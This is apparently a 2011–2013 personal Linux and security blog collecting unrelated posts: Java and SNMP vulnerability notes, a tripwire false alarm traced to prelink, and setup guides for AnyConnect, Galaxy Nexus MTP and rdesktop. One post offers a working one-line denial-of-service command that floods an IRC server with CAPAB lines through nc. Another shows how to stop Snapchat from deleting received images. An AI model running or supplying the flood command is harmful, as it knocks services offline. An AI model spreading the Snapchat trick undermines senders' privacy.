Offenders

If you have root on your android phone you can save your received images for permanent viewing. Become root and run chattr +a /data/data/com.snapchat.android/cache/received_image_snaps. Your received images can’t be deleted by the Snapchat app and will remain in this directory.

I don’t have technical details on the exploit but there is a PoC which Oracle has confirmed exists. Unfortunately, there is no workaround right now except possibly downgrading to Java 6 which doesn’t contain one of the bugs this exploit needs to function. Even the latest Java 7 Update 11 is vulnerable. I’d advise disabling your java plugin until this issue is resolved.

http://www.securityfocus.com/archive/1/525361/30/0/threaded

I noticed some overly-complicated exploits running around, but after some tcpdumping and stracing, this will do it in one line. Enjoy.

# perl -e ‘print “CAPAB \r\n” x 1000′ | nc victim.ircd.com 6667

There exists a highly exploitable snmp amplification attack via one of the more prominent Internet providers in the USA. I was hit by this attack recently and was lucky enough to gather packet captures of the attack. In the interest of full disclosure, I’ve alerted the provider. If they don’t respond soon I’ll disclose all the details in this blog, including IP addresses of vulnerable routers and their read/write community strings. Full disclosure is supposed to encourage problem resolution.

** Update 20130111 **

Submitted to Bugtraq after no vendor response.

** Update 20130116 **

After speaking with Comcast engineers, I’ve removed the list of vulnerable hosts since they are actively working to resolve the issue.

OpenDNS has released an application that encrypts dns traffic from your host to their dns servers. This prevents someone sniffing the network to see your dns traffic, and more importantly, protects against dns spoofing. I built rpm packages if anyone is interested in trying it out. I’ve created dnscrypt-proxy-0.9.4 64-bit rpms. A binary rpm is available here.

http://www.offenders.org/build_rpms/dnscrypt-proxy/dnscrypt-proxy-0.9.4-1.x86_64.rpm

I ran across an issue about 6+ months ago where, per tripwire, about a dozen files on a linux box were modified, indicating system compromise. I’m putting the md5s here in case anyone runs across the same issue. The initial attack vector is very likely ssh but doesn’t seem to be from a remote root exploit in the daemon. Replacing the modified binaries with known-good binaries results in the files reverted, even without sshd running, usually from 3-5am the next day, at various times each occurance. There’s likely rootkit and kernel module inserted, which either allows remote access (port knock, portscan shows ports closed) or the rootkit itself is replacing the files via a hidden process.  Let me know if anyone runs across this in the wild at rsweat at gmail.

Known compromised mailx and bash binaries. I will update with more files soon.

App Version                                               Modified Binaries
mailx.x86_64 0:12.4-6.el6              1df4fdd59ff8b7a1691b86fba4634173
mailx.x86_64 0:8.1.1-44.2.2.el5      9b0051bb78cc325204b36d214743e493
mailx-12.5-3.fc15.x86_64               565139520786d190b7c49f515c4bb8ba

bash.x86_64 0:3.2-24.el5               0bd86315e2196290a5d32dc080a573dd
bash.x86_64 0:3.2-24.el5               fccc6baa1d5fb2042e3689749f8e41c5

These are the modified files that tripwire can detect.

/bin/bash
/bin/mailx
/sbin/auditctl
/sbin/aureport
/sbin/ausearch
/sbin/autrace
/usr/sbin/siggen
/usr/sbin/tripwire
/usr/sbin/twadmin
/usr/sbin/twprint

**Update 20120308**

I’ve come to realise that these md5 hashes are useless and unlikely to be found in the wild since I’ve not seen two unique md5dsums on any separate servers.  It must somehow be polymorphic and appending something unique to the beginning and end of the file.   It also seems a rootkit is loaded since objdump shows no differences between the versions, but when booted to a live cd and run the same checks, there are a huge number of  differences.  A case was opened with RedHat and the engineer said he was able to reproduce this in his lab.  That’s not very reassuring.  Since no rootkit detection or AV software can identify this, I think there’s only two possibilities of its source.  To be continued…

**Update 20120310**

Our awesome security folks found the reason for the checksums changing is the prelink cron job that runs daily in order to speed up application loading.   There’s a method to call prelink with the -y or –md5 options to verify its original checksum.  It’s unfortunate tripwire doesn’t account for this.  The only solution is to disable prelinking or stop using tripwire.  Much appreciation to the security group that determined the reason for the change in checksum.  I’ll mention their name once I get their permission to do so online.

The Cisco docs aren’t very helpful, and I’ve spent a lot of time getting this working, often making dozens of changes and not knowing which one actually fixed it. I’ve finally nailed it down. On Fedora 15/16, this is all you need to do.

You can install the Anyconnect software before or after installing these packages. If you installed it before, you will need to restart the vpnagentd_init service afterwards.

# yum install gdk-pixbuf2-devel.i686 libcurl-devel.i686 gtk2-devel.i686 glibc.i686 libxml2.i686 libxml2-devel.i686 libcurl-devel.i686 gtk2-devel.i686 atk-devel.i686 glibc.i686 libxml2.i686 libxml2-devel.i686
# ln -s /lib/libplc4.so /usr/lib/libplc4.so
# ln -s /lib/libnspr4.so /usr/lib/libnspr4.so

That’s it! Open up the gui client as a non-root user.

If there are problems, start the vpn client in a terminal so you can see any errors thrown, and watch syslog for additional errors.

Originally Published Dec 20, 2011 @ 10:19. Updated frequently as we learn more about this device and how it interfaces with Linux.

This first section is geared towards Linux distributions that use the rpm package manager. Either way, it should give you an idea of how to accomplish the same with any other distribution.

This phone and many others are doing away with the mass storage device method of connecting to a pc for transferring files. MTP is the new method, but each vendor and device id must be added to the mtp library before the device is recognized. In Fedora, this is relatively easy to do. Pull down the source rpm using yumdownloader. Install yumdownloader if you don’t have it already.

# yumdownloader –source libmtp
# rpm -ivh libmtp*.src.rpm
# cd ~/rpmbuild/SOURCES

RedHat has already created a diff to append a bunch of new devices to the code. We just need to add ours to the list. The US model of the Samsung Galaxy Nexus is 04e8:685c. You can verify yours by typing lsusb. There are many ways to do this but this should give you an idea of how it works. Add the following lines to the diff file. I’d add it with the other Samsung devices, then find the diff hunk above that section and increment 5 to the destination file range (since we’re adding five lines to the total patch, not just the two we’re inserting). In my case this works..

Edit device-db.patch.

//@@ -248,13 +254,28 @@     <– old
@@ -248,13 +254,33 @@

Then append this to the bottom of the Samsung section.

+ // From: Ryan Sweat <rsweat@gmail.com>
+ { “Samsung”, 0x04e8, “Samsung Galaxy Nexus”, 0x685c, DEVICE_FLAG_BROKEN_MTPGETOBJPROPLIST_ALL },

Save the file, then recompile the rpm.

# cd ../SPECS
# rpmbuild -bb libmtp.spec

If successful, it should build the packages with US Samsung Galaxy Nexus device support. Remove the current rpms and install the new versions.

# rpm -e libmtp libmtp-hal libmtp-devel –nodeps
# yum localinstall ~/rpmbuild/RPMS/x86_64/libmtp-*.x86_64.rpm ~/rpmbuild/RPMS/x86_64/libmtp-hal-*.x86_64.rpm ~/rpmbuild/RPMS/x86_64/libmtp-devel-*.x86_64.rpm

That should be enough for apps like Amarok to detect and use the device. If you want to mount the device’s filesystem, you’ll need mtpfs as well. Here’s how to install mtpfs. It has a few dependencies. The configure process will complain if others are needed.

# sudo yum install fuse fuse-devel libmad libmad-devel libid3tag-devel libid3tag

# wget http://www.adebenham.com/debian/mtpfs-1.0.tar.gz
# tar xvzf mtpfs-1.0.tar.gz
# cd mtpfs-1.0
# ./configure && make && sudo make install

Edit /etc/fuse.conf as root and append or uncomment this line.
user_allow_other

Create a mountpoint, owned by your regular userid.
# sudo mkdir /mnt/nexus
# sudo chown user:user /mnt/nexus

Mount the device.
# mtpfs -o allow_other /mnt/nexus

To unmount it.
# fusermount -u /mnt/nexus

** EDIT 20111223 **
To make this device auto mount when connected, edit /lib/udev/rules.d/60-libmtp.rules or create it if it doesn’t already exist.  Find or add the entry for the Samsung Galaxy Nexus and the two ACTION lines beneath it.

# Samsung Galaxy Nexus
ATTR{idVendor}==”04e8″, ATTR{idProduct}==”685c”, SYMLINK+=”libmtp-%k”, ENV{ID_MTP_DEVICE}=”1″, ENV{ID_MEDIA_PLAYER}=”1″
ACTION==”add”, RUN+=”/usr/local/bin/mtpfs -o allow_other /mnt/nexus”
ACTION==”remove”, RUN+=”fusermount -u /mnt/nexus”

I’ve found that if the screen is unlocked when connected, it mounts at what would normally be the external storage (sd card). Otherwise, it mounts where only the Playlist directory is viewable or accessible. This is likely a security feature. I’m surprised it’s able to mount at all with the phone locked or turned off, as a commenter below has mentioned.

** End edit 20111223 **

** Edit 20111228 **

Interestingly, the Product ID changes when this device is put into USB debugging mode from PID=685c to PID=6860. The latter is recognized by libmtp as a Samsung GT-P7510/Galaxy Tab 10.1/S2 which, according to the patch, was “Reported by anonymous sourceforge user”. It mounts successfully with this PID with flags DEVICE_FLAG_UNLOAD_DRIVER and DEVICE_FLAG_LONG_TIMEOUT, even though the device isn’t an Galaxy Tablet. I’m curious as to how two Samsung devices can have identical USB PIDs, and if it’s standard behaviour for a product id to change when put in usb debugging mode.

** End edit 20111228 **

** Update 20120111 **

A commenter, gofasterplease, discovered an issue with writing certain multimedia files to the mounted filesystem. I started testing myself after reading his comment and I was also experiencing this as well.

What I did notice is that certain file extensions seem to be blocked from being written to certain locations on the filesystem. The source file is opened O_RDONLY, the destination file descriptor is opened, O_WRONLY|O_CREAT|O_EXCL, written to, then closed and exits with status 0, meaning successful, at least from the standpoint of the application performing the write. I tested 30 well known audio types, including proprietary ones, and mp3 is the only one I could find that exhibits this behaviour. I initially thought they were blocking the proprietary mp3 format for licensing reasons, but that’s not possible since I’ve uploaded 19k+ mp3s to Google Music and constantly steam them throughout the day (which caches the mp3s locally).

After further testing, I finally determined files ending in .mp3 are automatically moved to the Music/ directory. I’m ashamed it took me an hour or so of testing to figure this out, but this activity is difficult to detect when it’s done on the android side after the file is successfully written. Hope this helps explain some odd behavior when copying files around.

** End Update 20120111 **

This is an issue we’ve experienced on multiple blades with the same model raid controller card. If the drive 0 ever dies, the server/OS crashes, and it refuses to boot claiming the filesystem is corrupted. The only fix is to physically remove the drive 0 and let the server boot off _only_ drive 1. IBM support said this was acceptable behaviour. What’s worse is when IBM sends a replacement for the failed drive 0, and it’s inserted, the controller doesn’t automatically assign it to the RAID group and start the rebuild process while the server is running. You have to take another outage, restart the OS and boot into the LSI BIOS screen and configure it manually. And good luck figuring out how to add a new drive to an existing RAID group/array. I’ve never had so much trouble with any RAID controller on Dell or HP/Compaq. We’re starting to experiment with Boot from SAN, which is great but just works around the issue. Or another workaround would be to use software RAID with Linux. Has anyone else had these issues with LSI RAID controllers on IBM HS22 blades? Google search didn’t turn up any similar results.

Many Linux users whose main PC is Linux have to RDP into Windows machines on occasion. All my PCs run Linux, and I’m constantly connected to a Windows box at work, mainly for the Office suite, and the occasional mandatory app that won’t run on Linux. There are a couple issues I’ve encountered and have figured out ways to work around them.

The first and most aggravating is the clipboard between Linux and Windows quits working at random times. I haven’t determined what causes it to happen, but I’ve found that killing and restarting the rdpclip.exe application in Windows restores the functionality. It happens so often that I’ve created a two line bat script and placed it on my start menu and desktop for convenience. This is all you need.

taskkill /IM rdpclip.exe /F
start /MIN rdpclip.exe

I’m not sure if versions of Windows before Windows 7 include taskkill. If not, Sysinternals offers a tool called PsKill that will do the same thing. Just save these two commands in a .bat file and click it when the clipboard quits working. It sure beats the hell out of my previous method, which was logging off completely, and back in.

The second issue is regarding connecting to Windows 7 or Windows Server 2008 machines. Remote to Local sound doesn’t work without adding some extra arguments to the command. This might be fixed in newer versions of rdesktop than my distro provides, so only implement this if it’s currently broken for you. This is how to call it from the command line.

rdesktop -r sound:local -r clipboard -r disk:root=/ servername

The mapping of your local disk to the Windows server resolves the Remote to Local sound issue. There’s another benefit: It also creates a new drive letter on your Windows box that’s mapped to your Linux filesystem. It’s a convenient way to copy files to and from both boxes without having to use another application or protocol. You may want to change the command to “disk:root=/home/user” to make your home dir the highest level directory you can access via Windows. Some of you use a GUI front-end to connect to remote hosts, like gnome-rdp or tsclient. I use gnome-rdp and it doesn’t have an option to map the disk, so I created a wrapper script to do it instead. This is not the optimal solution because it will create problems when you update rdesktop. This is what I’ve done as a workaround.

mv /usr/bin/rdesktop /usr/bin/rdesktop.bin

Create a file called /usr/bin/rdesktop.wrapper and add this to the file.

#!/bin/bash
## Wrapper to fix Win7/2008 sound issues

/usr/bin/rdesktop.bin -r sound:local -r clipboard -r disk:root=/ $*
## EOF

Make the file executable.
chmod +x /usr/bin/rdesktop.wrapper

Then create a symbolic link to the wrapper.
ln -s /usr/bin/rdesktop.wrapper /usr/bin/rdesktop

That should be all you need. Whenever your GUI calls rdesktop behind the scenes, it will actually call our wrapper script, which will prepend the disk argument to the command when calling the real binary. The $* at the end of the line appends all the arguments that the GUI supplies, so that any specific settings or options you’ve set will still work. Keep in mind that when you update rdesktop, the symbolic link we created will be deleted and overwritten with the new rdesktop binary. Simply rename rdesktop to rdesktop.bin and recreate the symbolic link, if the new version doesn’t fix the sound problem itself.